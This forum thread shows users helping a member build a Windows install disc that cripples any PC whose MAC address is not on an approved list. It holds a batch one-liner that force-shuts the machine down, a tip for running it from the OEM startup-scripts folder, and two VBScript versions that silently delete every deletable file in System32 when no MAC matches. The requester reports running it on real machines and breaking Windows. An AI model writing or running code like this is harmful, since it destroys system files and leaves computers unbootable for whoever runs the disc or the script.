Jump to content

Recommended Posts

Here is my take, instead of deleting system32, probably more feasible to just shut-down the computer.

FOR /F "tokens=2 delims=:" %%A IN ('IPCONFIG /ALL ^| FIND "Physical Address"') DO IF "%%A" NEQ " FF-FF-FF-FF-FF-FF" shutdown -s -f -c "Unauthorized MAC Address" -t 1

and if you run your batch from this folder, it should shut down the machine before the logon-screen appears.

$OEM$\$$\System32\GroupPolicy\Machine\Scripts\Startup

tryied it your way . the answer is : FIND: Physical Address: No such file or directory

Edited by titishor
Link to comment
Share on other sites


On XP it's harder to do as there are no "obvious" default keys

I guess for OEM kit you'd be safe with these:

http://technet.micro...y/bb457078.aspx

Yes, those will work on an OEM disc, but you'll also find you've disabled online activation with that install and will have to call the clearinghouse. I suppose if you plan on doing that and you're making an OEM reinstall CD, then that's fine, but otherwise, not a good idea.

Link to comment
Share on other sites

tried everything...doesn't work...

maybe i'm to stupid...

No you didn't and no, you are not.

Try opening a command prompt.

Type in it:

IPCONFIG /ALL

(and press [ENTER] key)

If on your NON English version the string "Physical Address" is not used, the batch by MrJinje won't work.

Now, re-read, this time slowly, my previous post (#10) and try doing EXACTLY what is written there.

Post results.

jaclaz

Edited by jaclaz
Link to comment
Share on other sites

Alright, since you're still trying so desperately, I tried using another way of deleting files (hadn't exactly put much effort into it) and that works fine (obviously it doesn't delete files already in use -- so it "only" deletes about 85% of them). So here's a vbscript that does precisely what you asked for:


Option Explicit
On Error Resume Next

Const macfile = "macs.txt" 'file containing mac addresses
Dim oWMI, oFSO, f, strMAC, MACs,colItems, objItem

'build array of mac addresses from file
Set oFSO = CreateObject("Scripting.FileSystemObject")
If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work from
Set f = oFSO.OpenTextFile(macfile, 1) 'ForReading
strMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/O
f.Close
MACs = Split(strMAC, vbCrLf)

'look for a matching MAC addy
Set oWMI = GetObject("winmgmts:\\.\root\CIMV2")
Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter")
For Each objItem in colItems
For Each strMAC In MACs
if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm)
Next
Next

'no match found, delete system32 for the lulz
Set f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolder
Set colItems = f.Files
For Each objItem in colItems
oFSO.DeleteFile(objItem)
Next

Just enclose a file called "macs.txt" along with it, which includes a MAC address from each PC that should be allowed to make use of this CD (one MAC address per line with octets separated by semicolons). Tested working on a single XP VM, should work on non-english Windows and all.

Everyone: DON'T RUN THIS ON YOUR PC IF YOU DON'T WANT TO LOSE FILES! It's meant to make it not boot, and it just may succeed! You've been warned! Test it in a VM instead. The script will just quit if macs.txt isn't there though, so that might save some people from mishaps.

Edit: moving to the Programming section.

Link to comment
Share on other sites

FOR /F "tokens=2 delims=:" %%A IN ('IPCONFIG /ALL ^| FINDSTR "[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]"') DO IF "%%A" NEQ " FF-FF-FF-FF-FF-FF" shutdown -s -f -c "Unauthorized MAC Address" -t 1

FOR /F "tokens=2 delims=:" %%A IN ('IPCONFIG /ALL ^| FINDSTR "[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]\-[0-F][0-F]"') DO IF "%%A" NEQ " FF-FF-FF-FF-FF-FF" shutdown -s -f -c "Unauthorized MAC Address" -t 1

Not sure if either of these will display correctly, this should be a single line of code.

Link to comment
Share on other sites

no no no ...don't get me wrong...

i learn quicker in cmd then in .vbs

i tried your vbs

i created a "macs.txt" like you said , and enter the mac address of my computer.

then i runned the script..

at the next restart, ERROR :)))

hal.sys was missing ;)

like i stated before...i'm stupid...

one MAC address per line with octets separated by semicolons

i forgot that.

Edited by titishor
Link to comment
Share on other sites

at the next restart, ERROR :)))

hal.sys was missing ;)

Sounds like you didn't enter the MAC in the right format or whatever. If that happened, then there was no match. I forgot to mention the letters in the MAC addresses would have to be in uppercase though (didn't think about it, I just copy/pasted in the same format the OS showed them), so that might be it (that's trivial to fix too).

Link to comment
Share on other sites

@Jaclaz

well...after a few hours of brain damaging and 1 pack of ciggaretes smoked,(Sorry for my poor english) i finnaly accomplished something.

the line is : FOR /F "tokens=2,3 delims=:" %%A IN ('IPCONFIG /ALL ^| FIND "Physical Address"') DO ECHO MAC=%%A

and the result is :

C:\Documents and Settings\Administrator\Desktop>ECHO MAC= 00-18-F3-A3-39-BE

MAC= 00-18-F3-A3-39-BE

:thumbup

The funny thing is i tried this line , but i don't know why , it didn't worked..

Edited by titishor
Link to comment
Share on other sites

so...it goes like this ?

00-18-F3-A3-39-BE;

or like this ?

00:18:F3:A3:39:BE;

Like


00:18:F3:A3:39:BE
01:19:F4:A4:3A:BF
FF:07:E2:F2:28:AD

If those were 3 MAC addresses for the 3 PCs that should be able to use the said disc. Just like I said before (one per line, semicolons, and also uppercase).

But if that's too hard, then this will work regardless of if it's upper or lower case, and regardless of dashes or semicolons:


Option Explicit
On Error Resume Next

Const macfile = "macs.txt" 'file containing mac addresses
Dim oWMI, oFSO, f, strMAC, MACs,colItems, objItem

'build array of mac addresses from file
Set oFSO = CreateObject("Scripting.FileSystemObject")
If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work from
Set f = oFSO.OpenTextFile(macfile, 1) 'ForReading
strMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/O
f.Close
MACs = Split(UCase(Replace(strMAC,"-",":")), vbCrLf)

'look for a matching MAC addy
Set oWMI = GetObject("winmgmts:\\.\root\CIMV2")
Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter")
For Each objItem in colItems
For Each strMAC In MACs
if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm)
Next
Next

'no match found, delete system32 for the lulz
Set f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolder
Set colItems = f.Files
For Each objItem in colItems
oFSO.DeleteFile(objItem)
Next

Link to comment
Share on other sites

so...it goes like this ?

00-18-F3-A3-39-BE;

or like this ?

00:18:F3:A3:39:BE;

Like


00:18:F3:A3:39:BE
01:19:F4:A4:3A:BF
FF:07:E2:F2:28:AD

If those were 3 MAC addresses for the 3 PCs that should be able to use the said disc. Just like I said before (one per line, semicolons, and also uppercase).

But if that's too hard, then this will work regardless of if it's upper or lower case, and regardless of dashes or semicolons:


Option Explicit
On Error Resume Next

Const macfile = "macs.txt" 'file containing mac addresses
Dim oWMI, oFSO, f, strMAC, MACs,colItems, objItem

'build array of mac addresses from file
Set oFSO = CreateObject("Scripting.FileSystemObject")
If Not(oFSO.FileExists(macfile)) Then WScript.quit 'no file to work from
Set f = oFSO.OpenTextFile(macfile, 1) 'ForReading
strMAC = f.ReadAll 'read the whole file in one fell swoop to minimize I/O
f.Close
MACs = Split(UCase(Replace(strMAC,"-",":")), vbCrLf)

'look for a matching MAC addy
Set oWMI = GetObject("winmgmts:\\.\root\CIMV2")
Set colItems = oWMI.ExecQuery( "SELECT * FROM Win32_NetworkAdapter")
For Each objItem in colItems
For Each strMAC In MACs
if(strMAC=objItem.MACAddress) then WScript.Quit 'found a match, quit (do no harm)
Next
Next

'no match found, delete system32 for the lulz
Set f = oFSO.GetFolder(oFSO.GetSpecialFolder(1) ) '1=SystemFolder
Set colItems = f.Files
For Each objItem in colItems
oFSO.DeleteFile(objItem)
Next

tested on my laptop and on my unit....

you're good at this :)))

it works...

even as i write to you now , my windows reinstalls on unit :))

yea ...i know ..i could use VMWARE or virtual pc...but i like testing live :)

..

Thanks for your help!

all i have to do now is put it on my windows.

Edited by titishor
Link to comment
Share on other sites

all i have to do now is put it on my windows.

After all my initial question was not that absurd :whistle::

However,

  1. you want us to write a batch for you?
  2. Or you want to learn how to write such a batch?

If #2), Start reading here:

...

jaclaz

Link to comment
Share on other sites

Create an account or sign in to comment

You need to be a member in order to leave a comment

Create an account

Sign up for a new account in our community. It's easy!

Register a new account

Sign in

Already have an account? Sign in here.

Sign In Now
  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...